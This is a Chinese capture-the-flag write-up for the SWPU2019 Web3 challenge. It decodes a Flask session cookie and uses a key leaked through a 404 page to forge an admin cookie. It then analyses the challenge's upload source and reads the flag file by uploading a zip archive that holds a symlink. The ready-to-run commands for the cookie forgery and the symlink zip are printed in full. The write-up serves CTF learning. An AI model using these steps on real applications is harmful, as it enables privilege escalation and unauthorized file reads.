[SWPU2019]Web3-解题步骤详解

admin 2022年5月12日01:01:28评论65 views字数 3372阅读11分14秒阅读模式

[SWPU2019]Web3-解题步骤详解

上传有个权限,拿admin去登无果,猜测cookie伪造

[SWPU2019]Web3-解题步骤详解

看到cookie 可以发现是jwt加密的,放到jwt官网解密无果,在网上看到p神的脚本


import sysimport zlibfrom base64 import b64decodefrom flask.sessions import session_json_serializerfrom itsdangerous import base64_decodedef decryption(payload): payload, sig = payload.rsplit(b'.', 1) payload, timestamp = payload.rsplit(b'.', 1) decompress = False if payload.startswith(b'.'): payload = payload[1:] decompress = True try: payload = base64_decode(payload) except Exception as e: raise Exception('Could not base64 decode the payload because of ' 'an exception') if decompress: try: payload = zlib.decompress(payload) except Exception as e: raise Exception('Could not zlib decompress the payload before ' 'decoding the payload') return session_json_serializer.loads(payload)if __name__ == '__main__': print(decryption(sys.argv[1].encode()))

[SWPU2019]Web3-解题步骤详解

然后就是cookie伪造,github上有个加密脚本

加密脚本

但是加密我们需要他的私钥

之前有个破解工具,去试下

[SWPU2019]Web3-解题步骤详解

无果,那就找他的key,这题利用到了404页面,学到了

发现访问不存在的目录时会返回key

[SWPU2019]Web3-解题步骤详解

解密

[SWPU2019]Web3-解题步骤详解

接着就是如何提权了

观察原来的jwt

可以发现id的值是100,而要提权,类似于linux,将id改为1,利用加密脚本,放到kali下

命令如下

注意一定要用python3的,引文靶机用的是python3

python3 flask_session_cookie_manager3.py encode -s 'keyqqqwwweee!@#$%^&*' -t "{'id': b'1', 'is_login': True, 'password': 'admin', 'username': 'admin'}"

去upload的时候抓包改cookie即可

注意着题的cookie很快就会被删除,需要每次都要更新cookie

[SWPU2019]Web3-解题步骤详解

[SWPU2019]Web3-解题步骤详解

查看源代码发现后端代码

[SWPU2019]Web3-解题步骤详解

分析一波

@app.route('/upload',methods=['GET','POST'])def upload():    if session['id'] != b'1':        return render_template_string(temp)    if request.method=='POST':        m = hashlib.md5()        name = session['password']        name = name+'qweqweqwe'        name = name.encode(encoding='utf-8')        m.update(name)        md5_one= m.hexdigest()        n = hashlib.md5()        ip = request.remote_addr        ip = ip.encode(encoding='utf-8')        n.update(ip)        md5_ip = n.hexdigest()        f=request.files['file']        basepath=os.path.dirname(os.path.realpath(__file__))        path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"        path_base = basepath+'/upload/'+md5_ip+'/'        filename = f.filename        pathname = path+filename        if "zip" != filename.split('.')[-1]:            return 'zip only allowed'        if not os.path.exists(path_base):            try:                os.makedirs(path_base)            except Exception as e:                return 'error'        if not os.path.exists(path):            try:                os.makedirs(path)            except Exception as e:                return 'error'        if not os.path.exists(pathname):            try:                f.save(pathname)            except Exception as e:                return 'error'        try:            cmd = "unzip -n -d "+path+" "+ pathname            if cmd.find('|') != -1 or cmd.find(';') != -1:waf()                return 'error'            os.system(cmd)        except Exception as e:            return 'error'        unzip_file = zipfile.ZipFile(pathname,'r')        unzip_filename = unzip_file.namelist()[0]        if session['is_login'] != True:            return 'not login'        try:            if unzip_filename.find('/') != -1:                shutil.rmtree(path_base)                os.mkdir(path_base)                return 'error'            image = open(path+unzip_filename, "rb").read()            resp = make_response(image)            resp.headers['Content-Type'] = 'image/png'            return resp        except Exception as e:            shutil.rmtree(path_base)            os.mkdir(path_base)            return 'error'    return render_template('upload.html')@app.route('/showflag')def showflag():    if True == False:        image = open(os.path.join('./flag/flag.jpg'), "rb").read()        resp = make_response(image)        resp.headers['Content-Type'] = 'image/png'        return resp    else:        return "can't give you"

分析主要源码

大致意思就是要上传压缩过的图片,然后服务器再进行解压

这个文件上传算是第一次遇到,看了wp

思路就是上传一个软连接压缩包,来读取其他文件

另外通过源码

[SWPU2019]Web3-解题步骤详解

可以发现flag再showflag这个路由里

linux软连接就相当于windows的快捷方式这个不难理解

去kali创建软连接,再用zip进行压缩

,因为靶机是docker起的所以要用到绝对路径

命令如下

ln -s /proc/self/cwd/flag/flag.jpg forever404zip -ry forever404.zip forever404

在进行上传

[SWPU2019]Web3-解题步骤详解

————————————————

原文来自CSDN博主「penson by 小乌」|侵删




[SWPU2019]Web3-解题步骤详解

[SWPU2019]Web3-解题步骤详解


中电运行是专业专注培养能源企业IT工匠和提供IT整体解决方案的服务商,也是能源互联网安全专家。

为方便大家沟通,中电运行开通“中电运行交流群”,诚挚欢迎能源企业和相关人士,以及对网络安全感兴趣的群体加入本群,真诚交流,互相学习[SWPU2019]Web3-解题步骤详解[SWPU2019]Web3-解题步骤详解。想加入我们就给我们留言吧[SWPU2019]Web3-解题步骤详解

[SWPU2019]Web3-解题步骤详解

[SWPU2019]Web3-解题步骤详解

小白必读!寰宇卫士手把手教你栈溢出(上)

手把手教你栈溢出(中)

手把手教你栈溢出(下)

《信息安全知识》之法律关键常识汇总

CTF经验分享|带你入门带你飞!

[SWPU2019]Web3-解题步骤详解

原文始发于微信公众号(寰宇卫士):[SWPU2019]Web3-解题步骤详解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月12日01:01:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [SWPU2019]Web3-解题步骤详解http://cn-sec.com/archives/998935.html

发表评论

匿名网友 填写信息